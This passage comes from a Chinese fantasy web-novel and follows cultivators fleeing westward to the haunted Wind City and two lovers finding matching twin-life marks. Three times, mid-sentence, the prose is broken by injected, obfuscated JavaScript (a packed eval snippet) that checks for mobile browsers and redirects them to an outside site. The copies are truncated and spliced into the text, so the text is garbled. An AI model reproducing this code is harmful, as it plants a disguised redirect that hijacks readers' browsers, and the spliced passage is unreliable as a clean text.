经他这么一提醒,白栩忽地想起来,自己被拐走之前,也碰到一个模样同段尚清一样的纸人,比起手里这般粗制滥造的,那个当真是和真人一模一样,就连皮肉的纹理也仿得惟妙惟肖,若非瞳色不同,他差点察觉不出破绽。 他将此事说与花千续,道长沉思半晌,面色阴沉:“我对鬼方族知之甚少,照目前来看,他们做纸人的手法分为两种,一种是用以挑衅的纸人,样貌丑陋,不能动,没有神志,另一种是用以杀人的纸人,模样精致,能施诡计……此两种都出现在衡阳,只怕此后对亲近之人都得堤防。” 白栩道:“那姚靖今早见到的纸人也是第二种,你没抓到,只抓到了他们留下用以挑衅的第一种?” 花千续叹了口气,颇有些自恨不争气:“是,我本以为此等雕虫小技不足为惧,毕竟这纸人抓来甚是容易,实在没料到他们另有附魂纸人,那般邪物作起祟来,定是凶狠异常。” 他再三思虑,下定决心,站起身,拉着白栩和段尚清往屋外走,步履匆匆,直奔东院去。 萧夫人听闻屋外脚步凌乱,推门来看,花千续作揖道:“萧夫人。” 萧语竹对这位道长很是钦佩,下阶来扶:“道长不必多礼,不知此来所为何事?” 花千续单刀直入地问:“上次商讨之事,可是有结果了?” “道长妙算,正是。”她从袖内拿出千里传音而来的信——这信出自莫兰萱,本是白珏接到,但白珏有事出门,便交由萧夫人保管,“当朝太子一向主张玄门与朝堂井河不犯,多次进谏主张遏制司天监权势,莫家拥立东宫,已向太子告知我等商量之事,太子也已告知皇帝,只是尚未定夺。” 本是好事,花千续却面色忧愁,叹了口气:“只怕司天监从中作梗,断不会让皇帝轻易与玄门和解。我听闻祁王与虞惑多有往来,夫人有所不知,祁王乃北行军之监军,此北行军,正是北上应敌契丹之军,此番北方修士弃关南下,无人能与契丹军中的妖人斗法,各般邪术齐阵而上,逼得北行军一退再退,让出许多城池。万一紫荆关被攻破,余下可是央央百万里平原,无天堑阻拦,无大河割离,契丹铁骑顷刻便能踏平。我料想祁王与北行军将士的心里,应是恨极了玄门。” 段尚清道:“若是战事焦灼,祁王更应允诺我等提议,不废司天监,不与玄门和解,修士凭何为其助阵,此战何以取胜?” 花千续耳聪目明,游侠友人遍布国土,打听的多,他已听得许多风声,只叹道:“祁王与太子明战暗斗多年,断不可能让此战的功劳落到进谏的头上去,司天监已将西北玄门所拘修士发往北行军,不日便到,届时燃眉之急稍缓,司天监定会寻机报复,虞惑手下有许多异族依附,掌有许多邪法诡术,虽不知实情,我算其足以与玄门制衡,单这纸人术,不但来无影去无踪,还能在佐家眼皮底下劫人活埋,足以见其锋锐。如今只是小惩大诫,恐怕日后更有祸患威胁。” 白栩感有危机,又甚觉荒谬,愤愤道:“说到底,不都是朝廷的错?若非他们忌惮玄门,便不会设立司天监来分庭抗礼,若非司天监于西北大开杀戒,北方修士怎会弃关南下?如今他们竟拘捕西北修士北上入军,军中将士愤恨群起,只怕用完便杀!” 花千续点头称是:“你说得不错,此事一出,玄门与朝廷再无和解可能,我看就算皇帝想说和,玄门也不会应允,除非司天监被捣毁,虞惑、虞子煊斩首示众,不然不足以平愤。” 萧夫人蹙眉:“我儿在西北力拒司天妖人,可有危险?” 花千续道:“夫人尽可宽心,令郎武艺高强,且有道法傍身,无人能伤他,何况西北仍留有许多大姓玄门,他们联手,朝军不敢进犯,只是……” 萧夫人提起心来:“只是什么?” “无关令郎,关于你们。”花千续转而看向白栩等人,面色沉重,“衡阳恐怕不再安全,你等需得星夜启程,藏踪离城。” 白栩回看段尚清,见他眸中亦做犹豫,心中忐忑起来:“是司天监要对佐家下手?” “佐家在衡阳根深蒂固,正如段家于广陵树大根深,如今上三家唯有白家被江湖追杀,我怕他们会专挑你们下手,正如今日之纸人,唯有你与你姐姐,其余人皆无受其害,你们行踪暴露,恐连累佐家,亦有性命危险。”花千续拍拍白栩肩头,“白家小子,今夜你们便走,我与翎徕不日跟上。” “什么叫连累?哪里的话!”萧夫人吊眉怒目,声威赫赫,“我佐家与萧家向来持正守道,不惧万难,难道连小辈都护不了?何来连累一说?休要离开,就在这里,我看谁敢伤了你们。” 花千续知晓佐家夫人性格刚硬,与佐家主如出一辙,可惜这般自信,不是也没护住白栩,害得他被劫走埋入乱葬岗? 他没说出这番“大逆不道”之言,只作揖拉着白栩与段尚清离开,再回西院。 白珏和姚靖有事出门尚未回来,花千续思前想后,这事只有白珏来劝才能管用。 问题是他们要逃去哪儿…… 佐宣梁同段云秋镇守江州,一面守着绛鹊山,一面护白家子弟不被司天监、长生教所害,萧雨竹守衡阳,段尚清之母蒋瑛守广陵……花千续琢磨半晌,觉得江南各处哪都不能去,去哪儿都容易被抓住,得西行才好。 他同二人商量:“莫不如去西庸关?过关便是络玥族旧址,那处荒偏,司天监的手眼通不到,而且你们不是好奇长生簿的由来?正好翎徕也想回去看看,你们有所不知,他是络玥族的后人。” 白栩看向段尚清,两相对视,尽在不言中:“那好,等姐姐回来我会与她说,我们今夜便走。” 花千续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365489|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放下了心,风一般走了,饭也不留下吃。 段尚清本还为着昨夜之事愧疚,这下可好,愁绪冲击而来,愧疚与恐惧倒是被冲淡了。 他揽着白栩坐回榻上,心知白栩定要发愁,忙趁他没回过味来,转移话头:“我今日寻你之时,有一怪事。” 白栩从愁绪中分出神识给他:“何事?” 段尚清娓娓道来:“乱葬岗本不大,十几人去挖都没找到你,心慌之际,你送我的玉冠猝然崩裂,玉簪掉入泥水,我去捞,手被玉簪穿破,流下的血里,竟有蓝莹之光,指引我去往榆树下寻到你。” 白栩一听,当即抄起他的手掌翻看,果见疤痕,心疼无比:“可还疼?可有换药?” 段尚清本以为白栩对那蓝光有兴致,没想到先关心他的伤,心中一暖,露出个温软的笑:“阿栩,你待我真好。” 白栩知道这家伙痛也不肯说,只得搂着他吻上那只唇瓣,磨蹭几下以作安慰,而后才问:“那蓝光何意?” 段尚清倏地抬眼,语气狐疑:“怪就怪在此处,这光只有我能看到,我问了姚靖,他说什么都看不到,而且这光融我血里,我一时竟想不出是何缘故,毕竟我先前从未有过这般奇能。” “蓝光……”白栩沉吟半晌,灵光一现,“尚清,莫不是绛鹊山那只白虎?” “经你一说,还真是……”段尚清回忆起来,深以为然,“它走前在我们身上按下虎爪,正是有蓝光进入我们体中,阿栩,你真是聪慧。” 白栩笑着迎他的吻:“那白虎在护着我们,若没它,我恐怕已被活埋致死。” 段尚清此时最听不得这种话,惩罚似的在白栩唇瓣上咬了一口:“不许再说。” “好。”白栩随段尚清在自己身边耍赖撒娇,他本想拿出笑意待他,只是心里愁云未散,他实在难以开怀,“尚清,区区司天监,真能逼天下玄门至此么?我看你的撼天引雷咒,足以将司天监劈成两半,就连那皇城也不在话下,为何我们不去直捣黄龙?” 段尚清坐直了身子,悉心解释:“阿栩,你不学道,有所不知,如今玄门所用玄法,看似五花八门,实则皆是借由天地五行之力,我们平日斗法可以,若敢妄开杀戒,自有天罚,从前有一人与县令结仇,用道术一夜杀尽一城百姓,结果那人次日便被天雷劈中,浑身血肉尽做肉糜飞散于天,他的妻子小儿也被雷劈死,族内亲戚不出半月皆死于种种意外,就连他所在玄门,也受了牵连,师兄弟们全都溺死于大江,无一幸存。此事一出,无人再敢乱为。司天监正是看中玄门的规矩,才敢这般妄为。” 白栩气馁无比,又实在不解:“那照你所说,虞子煊害玉县、若寒城的百姓,又是什么道理?他怎么没受天罚?” 段尚清见白栩陷入焦虑恐慌,立刻捧住他的脸轻吻安抚,待他平静下来,才接着道:“你忘了?虞子煊用的不是天地五行,是尸鬼,这种邪法多是用毒、蛊,不借五行之力,天地也难管,我们玄门正是以惩处这般妖人来拥立正道,旁的事,我们不能插手。” 白栩深吸口气,静下心神,望着段尚清的眼,只觉心里一阵苍凉:“若皇帝能早些明白这些道理,便不会忌惮玄门势力而设立司天监了……” “不一定。”段尚清盯着白栩,语气阴森,“别忘了,虞惑学了长生术,万一皇帝想长生,还是会招揽他,虞惑记恨白家,不可能放过,这般因果孽缘,恐难斩断。” 白栩闻言,一阵寒意窜上脊梁。 36. 向西进关 萧夫人终是为白珏说动,许他们离衡阳,过西庸关。 花千续嘱咐四人星夜离城,不能泄露行踪,萧夫人命人在马蹄上裹布,隐匿蹄声,送他们从小路出城。 从衡阳一路向西,避开人多眼杂的城地,多走林中古道。山路崎岖,盘曲回环,越发险阻,方行之际还是郁郁葱葱一派盎然,不出半月,已到林木稀疏之地。 河道干枯,远处吹来的冷风如刀刃扑拍过来,刮得人生疼,四人只好将绸布裹于头上,护眼耳口鼻,继续赶路。 马背上颠簸了整一月,其间若能碰到客栈,便停下歇脚稍作休整,没住处时,寻棵大树也能凑活,如此艰难行进,终于从莽莽林海走到青石板大路。 临近日落,四人来到一家客栈。 一开门,店家立刻热情地招呼上来,叫小二帮他们提包拴马。 “我看几位气度不凡,可是仙家人?” 四人身上裹满风沙,头巾还没拆下来,一身行装尽是灰尘,甚是狼狈,不知这店家从在哪里看出来他们“气度不凡”。 白栩失笑,摘下头巾,扫去发丝上的残沙,将自己理得干净了些,才拱手冲店家道:“无名小辈,忝列仙门罢了。” 店家看这少年郎谦逊有礼,又生得如此好看,不由得笑意更甚,热情招呼他们到一张大桌上落座,躬身笑问道:“不知几位来自哪宗仙门呐?” 白栩开口便答,一个“衡”字才说出个首音,便被段尚清截住话头:“我等来自云中城,一路车马劳顿,劳烦店家为我们准备几间房,再备些酒菜。” 段尚清素来谨慎,尤其是出行在外,受花千续嘱托,不可暴露行踪,江州、广陵、衡阳三地均不可提及,若有司天监之人借此顺藤摸瓜寻到他们踪迹,岂不是引火烧身? 云中城乃他信口而出之地,是座名不见经传的小城,当下之际,越是无名之地,越无人在意察觉,越能保他们安全。 店家并非司天监眼线,只在此地做小生意,一辈子也未出关远行,不知云中城在何处、此四人是何门玄士,但他向来只对有钱主顾宾礼相待,便应道:“好,好,酒菜马上来。” 不过他向来对关外之景甚是好奇,来了能人异士,也愿多做攀谈:“我看几位风尘仆仆,远道而来,不知去向何处啊?” 段尚清的视线在段家脸上转了几圈,看他不像谋财害命的奸商,才答道:“过西庸关,去风城。” 店家的笑登时凝固在脸上:“你们去那鬼城做什么?” “鬼城?”白栩来了兴致,他看了眼段尚清,玩笑道,“鬼和我们可是老朋友啊。” 段尚清冲他弯弯眉眼,应了个了然的笑——鬼门关都去过了,差点被牛头马面打死,可不是和鬼是老朋友? 白珏见两人眉来眼去,侧头瞟了白栩一眼,又看看段尚清,似是明白了什么。 白栩怕姐姐发现,立刻收声,老老实实地盘好腿坐在垫子上,等着上菜。 小二在大堂忙前忙后地端茶送菜,后厨内传来锅碗瓢盆的霹雳乓啷声。 店家搓着手在他们的桌前来回踱步,脸上满是纠结的神色,看起来既想问些话,又有些事想讲,但碍于几人看起来不是很好搭讪,而且方才漂亮公子那句“和鬼是老朋友”,委实把他吓了一跳,不知如何开口,也怕说来他们不信,一直欲言又止。 段尚清知他顾虑,轻笑一声,提起小二送来的茶壶,给每人倒了杯热茶送到手边,才道:“素来听闻西庸关外的风城市井繁荣,我们几人很是好奇,便想着来看看,如若风景雅致民风开化,来年还想带些友人来游玩。只可惜本以为沿路店坊林立,没成想是这番荒芜景象,而且风沙不止,一路走来甚是辛苦。” 店家见段尚清与他搭话,紧绷的嘴角终于松开,一屁股坐在桌前的空地上,娓娓道来:“那传言其实不假,不过几位应该是从老一辈那里听来的吧,也对,西庸关道路闭塞,车马进出得少,连只鸟都飞不出去,更别说消息了,各位有所不知,三十多年前的风城,的确繁华,因与别国交壤,来往商贩络绎不断,多有异族扎根于此。可惜后来有一批东边来的强盗,骑马带刀杀进城来,一路上见人就杀,见屋就闯,大火彻夜烧了四天四夜,地上的血都给蒸干了,大街小巷哭喊声不绝,直到最后没有一丝活人气儿,满地都是尸体啊……” 店家说及此,像是想象到那流血漂橹的场景,心里生出一股后怕和惊惧:“那年真是死了不少人,人都被杀光了,有几个逃出来的也被四处追杀,如今只怕已经凶多吉少。自打那以后,这片地儿就荒了,再也没人敢来,说是城里头闹鬼,活人进去就出不来了。我们这些临近风城的人,只好往东搬,本来我等皆住关外,而今已住进关内。说来也怪,又过了几年,江湖上传起了风城有宝物的谣言,说是金银玉器、奇珍异宝数不胜数,得一件可衣食不愁,拿一双可后代无忧。自从有了这个传闻,我们这鸟不拉屎的小地方常有三两批寻宝人借宿,越往后人越多,我和家里人一商量,索性开了这家客栈,你看这儿的跑堂,是我的小弟,厨子是我的姐夫,我姐正给你们收拾房间呢。” 白栩问道:“那你口中的鬼城是何意?” 店家伸手指向窗外,透过暗淡的天光,能看见不远处高大的城墙,“各位过了关隘,便能看到风城,那场屠杀之后,我等周边之镇也受到鬼魂侵扰,原本并不严重,除了夜里传出些哭声,也没什么怪事发生,贴几副夜哭贴便好了,不过近些年,城里头不知为何刮起了一阵妖风,一年刮两次,一次刮半年,起风时乌云密布,黄沙盖天,风吼声如鬼哭狼嚎,听得人是头皮发麻、骨头打颤,真是应了风城这个名。光听我说你们可能不信,那里头的沙子,就跟小刀似的,能把人衣服给刮烂,前些时候有几个人想硬闯,结果没走进去多远,就被风给撕碎了。” “撕碎?”姚靖诧异,风怎能将人撕碎,于是细问,“真的碎了?” 店家惭愧笑道:“怪我说得太玄乎了,不是真给撕碎了,不过也差不多了,那些人从城里头出来的时候,全身上下没一块好皮,全是细如牛毛的刀口子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17365490|199819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,血淌了一地,止也止不住,不一会儿就断气儿了。” 段尚清蹙眉,看向白栩,白栩亦看他,两人心中忧虑,这风城无一日不刮妖风,怕是进不得了。 店家说的那些刀口子,应该是被风卷起来的沙子给割出来的,想来那妖风应该只盘踞在风城之内,毕竟他们一路走过来,除了风大点儿,沙子多点儿,身上的衣服还是完整的,没破一个口子。 难道要在西庸关停住脚步?万一司天监望风而来,前有风城阻拦,岂不束手就擒? 不过若能平安度过风城,以此为天堑,能断绝司天追兵。 这是一步险招,白栩犯了愁,转头看向白珏,用目光询问要不要明日就离开,白珏摇头,灌了杯热茶,问店家道:“你可知如何能走过风城?” 店家哎呦一声,忙向后退了几步,求饶道:“姑娘您这可就难为我了,我方才这些话,就是想劝几位别去了,在我这里歇息几天就打道回府吧。我在这儿开店已十几年了,从未有一人能走出风城,来往许多行队,我都劝过,经年来也只是看他们去送死……你们若执意要去,我只能在后山再开四个坟包。” “你个老头,讲话忒晦气。”姚靖瞪了店家一眼。 店家连忙赔罪,扇了自己几个嘴巴,赔笑道:“公子说得是,你看我这嘴笨不会说话,消消气儿,我给你们端菜去。”说罢,脚底抹油地一溜烟儿就跑了。 几人面面相觑,一同看向窗外的风城,心中各有所思,一时间大堂内静了下来,只剩下来往的脚步声与颠勺声。 不一会儿,一桌子菜已经上齐了。 此地偏僻,菜品稀少,多是腊肉与腌菜,米也是糙米,好在上了几坛好酒,农家酒酒劲很足,光是闻味儿就直冲天灵盖,可以想象入口有多辛辣了。 白栩最不爱农家酒,段尚清给他倒了杯酒,他不想喝,推了回去:“太辣。” 段尚清便给他换了杯清茶:“那喝这杯吧。” 桌上的菜以咸辣为主,白栩长在江南,口味淡,吃不惯这些,只夹了几片腊肉,在碱水面里泡了泡,就着清汤里淡淡的咸味囫囵吞枣的吃了一碗,先下桌回房了。 他叫小二提上来几桶热水,先把身上的沙尘洗了个遍。换上一身新衣服,嗅着身上淡淡的皂角香,这才舒坦下来。 拖了把椅子坐在窗前,望着天上的明月,心中思绪繁杂,一会儿想到在临安与朝廷斡旋的爹娘,一会儿想到萧夫人相送的身影,连镇邪庙与黄泉路上的牛头马面都在眼前一一闪过……他垂头苦笑,长叹一气。 以前在江州住得无聊,总想出门游玩,如今却如所愿地四下奔走,却是逃命所逼,锐气尽被消磨,只余心中苦闷郁结。 若能找到法子度过风城,进络玥族旧地,寻到长生簿上长生术的破解之法,便可将虞惑拉下神坛,捣毁司天监。 思及此,他灵机一现,尤记临行前花千续说了一句,翎徕是络玥族的后人,他一定知晓长生簿的事。 如今,只待他二人赶到西庸关会面。 37. 城内怨鬼 花千续未说几日能到,也不曾传信而来,白栩枯等了几日,终于在某日听到楼下一阵人声喧闹。 此时正值清早,他揉开睡眼下楼去,大堂内,店家正围着花千续与翎徕眉飞色舞地攀谈。 “花道长!”白栩忙去相迎,“你可来了!等了好几日,你也不来封信告知一声。” 花千续接住白栩,笑意朗然:“我也想传信,可惜我不会你们上三家独有的千里传音术,又怕飞鸽被司天监的人捕了去,反而误了行踪,只好秘不做声,悄悄地来,这一路,真可谓是车马劳顿、风尘仆仆,你们来时,应也吃了不少苦。” 他说着,卸下肩头包袱,从里头拿出两小坛酒给白栩看:“上好的佳酿,留了一路,就等着与你们相逢来品尝,快把你姐姐和段家两小子叫下来。” 白栩看向楼上,想来那三人应在熟睡。 花千续没来这几日,他们三个常去风城探路,尝试了许多法术,都未能无伤进城门,昨日也是去了许久才回来。 白栩先去叫了白珏与姚靖,最后才去了段尚清的房间。 一开门,先是安神香淡淡的香味扑面而来,而后便见段尚清侧躺在榻上,白麻被子盖到腰际,腰腹蜿蜒的曲线被贴身的布衾勾勒出轮廓,隐隐能见呼吸起伏。 白栩倾身靠近,轻声唤了句:“尚清。” 段尚清睫毛颤动几下,没醒,只是微微皱眉,脸颊在枕巾上轻轻蹭了蹭。 白栩从未见过段尚清睡懒觉的模样,没想到竟是如此可爱,心软成一滩蜜水,他撑着榻,在那白皙的脸颊上落下一只轻吻:“起来了,尚清。” 许是在梦中觉察到脸颊上柔软的触感,段尚清缓缓睁开眼眸,视线尚未聚焦,便张开双臂,一把将人抱进怀里。 白栩身上的气息熟悉且安心,段尚清把被子一掀,再一盖,将两人一并裹了起来。 “我晚起了……”他在白栩耳边嘟囔,温热的气息撩刮过怀中人的耳廓,惊得人微微颤动。 “你昨夜睡得晚,贪睡也无妨。花道长与翎徕今早到了店内,还带了两壶好酒,正等着我们下去尝尝。”白栩翻身撑在段尚清身上,垂头看着他,“起来洗漱?还是我同他们说,让你再睡一会儿?” 段尚清不满白栩气息的离去,面露委屈地抬手扣在白栩腰上,把人严丝合缝地按在胸膛上,埋首于白栩的颈窝,深嗅其间的香气,闷闷道:“要起来的,我洗漱好同你下去——不过一早上就喝酒?” 白栩郑重道:“那可是花道长搜寻来的好酒,比店里的要清甜许多,被农家酒辣了这几日,你不想尝尝?” 段尚清弯起眉眼,露出个明朗温软的笑,他用指腹描描白栩的颊肉:“小酒痴,你馋了?” “嗯。”白栩欣然应下段尚清给他取的绰号,见他毫无松手的意思,低低笑了起来,“说着要起来,还赖床?” 段尚清闷闷地撒娇:“再亲我一口我就起来。” 白栩便在他另半张脸颊上印了一个吻。 段尚清心满意足,松开人,起身去梳洗。 不多时,人便来齐,因着人数众多,掌柜特意搬出店内最大的八仙桌给他们落座,小二手脚麻利,已有几道菜摆上了桌。 花千续将酒开了封,给众人各斟了一杯。 “好酒。”白栩一杯下肚,只觉全身都舒畅了起来,喉咙被温润的酒水润泽,连呼出来的气都带着酒中的桂花香。 “好喝吧,这可是天下名酒之一,望秋月。”花千续靠在桌案上,端着酒,一口一口地细品,似是觉得不够风雅,又从腰间抽出一把折扇,慢悠悠地摇了起来,嘴里哼着白栩没听过的民谣小调,模样十分惬意。 什么时候都不忘摆造型。 白栩耐不住,进了正题:“风城内妖风如刀刃,你可有法子能带我们进去?” 花千续放下酒盏道:“不怪你们找不到进城的法子,多少年间,来往此地的人都在与风搏斗,全然未察觉到风城内刮的并不是风,而是鬼的怨气。若想度过风城,需摒弃灵识,封住全身脉门、五感意识,作僵尸状,除去活人气,由赶尸人带着,才能平安过去。” 众人面面相觑,此法虽听起来十分玄乎,但细想下来却很有道理,若风城内的妖风真是由魂鬼怨气化成,那么一旦有身带阳气之物靠近,必然被恶鬼争相啃食,造成所谓“风如利刃”的现象。 可封住五感脉门,就如同将全身要害暴露在外,若有人存心加害,根本无法反抗。 默然半晌,白栩犹豫地开口:“你确定此法奏效?” 花千续十分自信的点了点头,见众人依旧满脸犹疑,便决心展露自己的绝学为自己正言。 他偏转目光,与白栩视线交汇,那双比常人黑上许多的阴沉眸子微微眯起,一道金光自瞳中闪过,他唇瓣开合,念了句咒—— 段尚清忽觉紧挨着他的白栩浑身一抖,转头看去,见花千续正直勾勾地盯着白栩的眼睛看,他伸手扯住白栩的袖子,想把他拉到身边,可白栩像被定在了原地一样,身体僵直一动不动。 段尚清心里一惊,立刻扳过白栩的脸。 白栩的眼睛已经完全翻白,身体绷直,微微抽搐,皮肤渗着骇人的凉意。 白珏一见弟弟如此,也顾不得花千续身份的如何,当即拍案起身,拔出长剑,直抵花千续的咽喉。 她冷声问道:“你对他做了什么?” 花千续歪着脑袋躲开剑刃,抬起双手表示自己并无害人之心:“别担心,我只是给你们看看我说的法子是如何用的,白小兄弟不是问我奏不奏效么?我便用他做头阵,来给各位看看。” 他用指腹挪开剑刃:“步月女侠好身手,只是刀剑不长眼,可莫要伤了人啊。” 白珏哪管他的小动作,直接一用力,把花千续的指腹削出了一道口子。 花千续“哎呦”一声,疼得直抽气,连忙将手伸到翎徕面前,惨戚戚地叫道:“阿徕,快给我包扎一下。” 翎徕冲他翻了个白眼,骂了句:“活该。”而后从兽衣口袋里掏出一小瓶药粉,不甚细心地洒在那不丁点大的伤口上,又从花千续袖子上撕下来一条粉布缠在其上,“好了。” 段尚清抱着浑身僵直的白栩,警惕地盯着花千续。 白栩的体温越来越低,已然趋近死人的温度,他心里隐隐生出疑恨,又觉花千续不是随意捉弄人的性子,怕他们打斗误事,让姚靖劝下白珏,捉急问道:“花道长,我们已经见识到这法子的威力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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花千续抬手摸摸翎徕的脑袋,顺了顺他那头小狮子般的卷毛,宽慰道:“说吧,都不会害你。” 翎徕犹豫了半晌,才点点头。 他缓缓地将衣领解开,露出脖子上的红色纹身来。 这是一朵交缠的花,花瓣舒展,花茎交缠,被一丛荆棘包裹,白栩灵光乍现,立马看向段尚清,两人一对视,皆知对方所想。 翎徕脖子上的纹身,同他们在画本上最后一页见到的一模一样,也是他们因放血而开了鬼门的阵法图案! 翎徕解释道:“这是我们族的图腾,名叫双生花。” “我们见过。”白栩沉浸在线索串联起来的喜悦,脱口而出。 翎徕却是目光一凛:“在哪里见过?” 白栩被他骤然严峻的神情惊得一凛,看了眼段尚清。 段尚清悄悄将他往自己身边揽了揽,解释道:“我们被困于镇邪庙下的积尸堆里,无路可去,见地上有阵法,内有血迹,许是有人放血填过,又因此书所写双生阵能开鬼门,便放了血,同他一同进了鬼门。” 其后的被牛头马面差点打死的事,段尚清避而不谈。 翎徕面色凝重:“双生阵,入则同生,出则同死,你二人不知这阵法的威力。” 他叹了口气:“出则同死,则意味你二人其一死去,另一人一定会死,从未有过例外。” 38. 双生印记 白栩一阵后怕,若是被活埋那次没被救出来,岂不是连同段尚清也要丢了命去? 这下可糟了,他焦急问道:“可有破解之法?” 翎徕将领口的银扣扣好,应道:“双生命格一旦形成,便是去了阎王殿也消不掉,不过你二人不必太过忧心,阵法谓之“死”,乃是魂飞魄散之意,纵使肉身被毁,只要魂还在,不论是养在灵偶里,还是寄居在其他东西之上,都不会危及另一人性命。” 说罢,他略加思索,又问道:“你们既然从双生阵里共同出来,身上应该留有印记,可有找过?” 白栩与段尚清对视一眼,一齐摇头。白栩问:“什么样的印记?” 翎徕道:“同我脖子上的一样,不过我的是双花缠绕,你们应是一人一朵。” “我们去找找。” 二人奔上楼去,关了屋门,白栩只顾脱衣解带,却忘了段尚清脸皮薄——纵使两人平日亲亲抱抱,亲密无间,却从未“开诚布公”、“坦诚相待”。 他已风风火火地脱了外衫、扯了腰带,一抬头,见段尚清局促地立在门口,低着头,耳尖通红,这才明白过来,这家伙害羞得紧,连眼都不敢抬。 白栩实在没忍住,噗嗤一声笑了出来。 段尚清闷闷道:“笑什么……你找到了?” “没呢,我能看见的地方全都没有,许是在后面,你来帮我瞧瞧?” 白栩此言并非调侃逗弄,当真是前半面什么都没看着,翎徕身上那纹身呈殷红色,想来他们身上的也是这般颜色。 段尚清依旧立在原地,连带脸都红了起来。 “这时候怎么害羞了?”白栩上前两步,抬起他的下巴,那双琥珀眸子被羞赧沁得水汪汪,仿若一眨眼便要落下泪来。 “你……你……”段尚清见白栩在自己面前宽衣解带如此不顾及,忍不住思索他是否也曾在别人面前这般无所拘束。 心中醋味迭起,段尚清既是委屈,又觉得没底气去问,支支吾吾半晌,还是拗不过自己:“你可在别人面前这般袒露过?” “别人?”白栩笑吟吟地撩起段尚清额前几簇遮住他眼睛的碎发,叫他整个额头都露出来,好尽情欣赏这只大犬吃醋闹别扭时究竟是哪般神情,“除了我家人,只有马学究见过。” 应了忧虑,段尚清立马垂眉耷眼,连带嘴角也撇了下去。 马卓涟已成了地下亡魂,他没必要与已故之人计较,只是心里隐隐嫉妒,不甘心地又问:“他什么时候看过?” 白栩慢悠悠道:“小时候我俩一起挨打,一人一个光屁股蛋。” 段尚清放下心来,又余下些被逗弄的委屈,别扭的神情实在可爱,白栩忍不住倾身上去,将身子与段尚清贴在一处,凑近了瞧个仔细。 他二人身高差不许多,段尚清略微高出一些,此时白栩微微垫脚,段尚清竟要仰视他,这般身位,一抬头,便能撞入那双波澜微微的桃花眸。 “你故意笑我……”段尚清放下了心,抬手环住白栩的腰,将脑袋埋在他颈窝里,“你故意叫我吃味生妒?” “瞧你可爱,想多看看,没想惹你不快。”白栩拍拍他的胸口,“还有正事呢,你来看看我的印记在何处?” 段尚清点点头,心跳不止,掌心沁汗,他轻撩开白栩的内衫,入眼是一片白皙的脊背,顿时整个人如被火烧,连瞳孔也跟着打颤。 视线在那无暇的皮肉上掠过几遍,于腰窝处寻到了双生花的印记。 “居然长在这种地方。”白栩麻利地穿好衣服,“我来看看你的长在哪里。”说着,上手就扒衣冠楚楚的段尚清。 段尚清没抗拒,羞红着脸,乖乖地站在原地,由着白栩将他一层层剥开。 “诶?你的不长在腰窝,那在什么地方?” 白栩作势要扒他亵裤,段尚清立马抓住:“我……我自己看到了,在前面。” “前面?”白栩绕过来,顺着段尚清所指,见他腹肌右侧,长着一只红色荆棘花。 白栩用指腹蹭蹭,这红色沁进皮里,抹不掉,他叹道:“还真成了双生命格,往后我得注意点,别不经意死了,害得你没命可活。” 段尚清尚沉浸在羞涩里,一听白栩这话,脸当即白了下来,一掌将人拽起:“不许你说这种话。” “什么?”白栩被他牢牢抓着手腕,没意识到自己方才嘟囔出了什么,“什么话?” “说你害了我之类的话……就是同你一起死,我也不会怨你。”段尚清从未对白栩这般严肃,鲜少如今这般双目迥然,郑重其事地发誓,“我一定会护着你,纵使你肉身被毁,我也会去阎王那将你的魂要回来,说到做到。” 白栩向来知道段尚清的性子里藏着股倔劲儿,这也是他的可爱之处,不想惹他伤心,便顺着他的意,也同他作保:“我说错话了,再也不这么说了,我相信你一定能护住我。” “嗯!”段尚清卸下倔强劲儿来,一把将白栩抱住,脑袋埋进人颈窝里,不时乱蹭。 到底是小几岁,看着是个小大人,心里还是稚嫩。 白栩由着他撒娇,帮他将衣服穿好,绑上腰带:“我们也费了许久,赶紧下去吧。” 两人才落座,花千续揶揄的目光就撇了过来,白栩回敬回去,花千续笑着给他推了一杯酒:“长印记了没?” “长了,我的在腰上,他的在腹上。” 花千续嘱咐道:“你们两个今后小心点,最好同出同入,互相照应。此番进风城,也许会有危险,段家小子,你道法高,护住白栩。” 段尚清作揖:“是。” 插曲过后,依旧要商量进城的法子。 姚靖却另有好奇,他用胳膊肘碰碰翎徕:“我听说络玥族被灭族了,你是怎么逃出来的?” 他这话问得实在冒昧,段尚清用眼神制止,翎徕却不甚在意,他已与花千续说过身世,不介意再说与人听:“我族原定居西域,因与中原人经商,便迁至西庸关外的风城。三十多年前,一伙强盗闯进风城,见人就杀,见钱就抢,就连我族世代供奉的秘籍也被抢了去。络玥族五百多人,一夜之间被杀个精光,我的祖父母为了保护我爹娘不被发现,用命与劫匪纠缠,最终被砍了脑袋。那些人四处放火,大火烧了三天三夜,什么都烧没了,我爹娘藏在祖坟里才躲过一劫,后来他们东躲西藏,去了中原腹地安家,十四年前,娘因生我而死,爹养我十二年,因蛊毒走了,我没了亲人,只得四处流浪。” “然后他就遇到我了,我好心收留,做了他的养兄。” 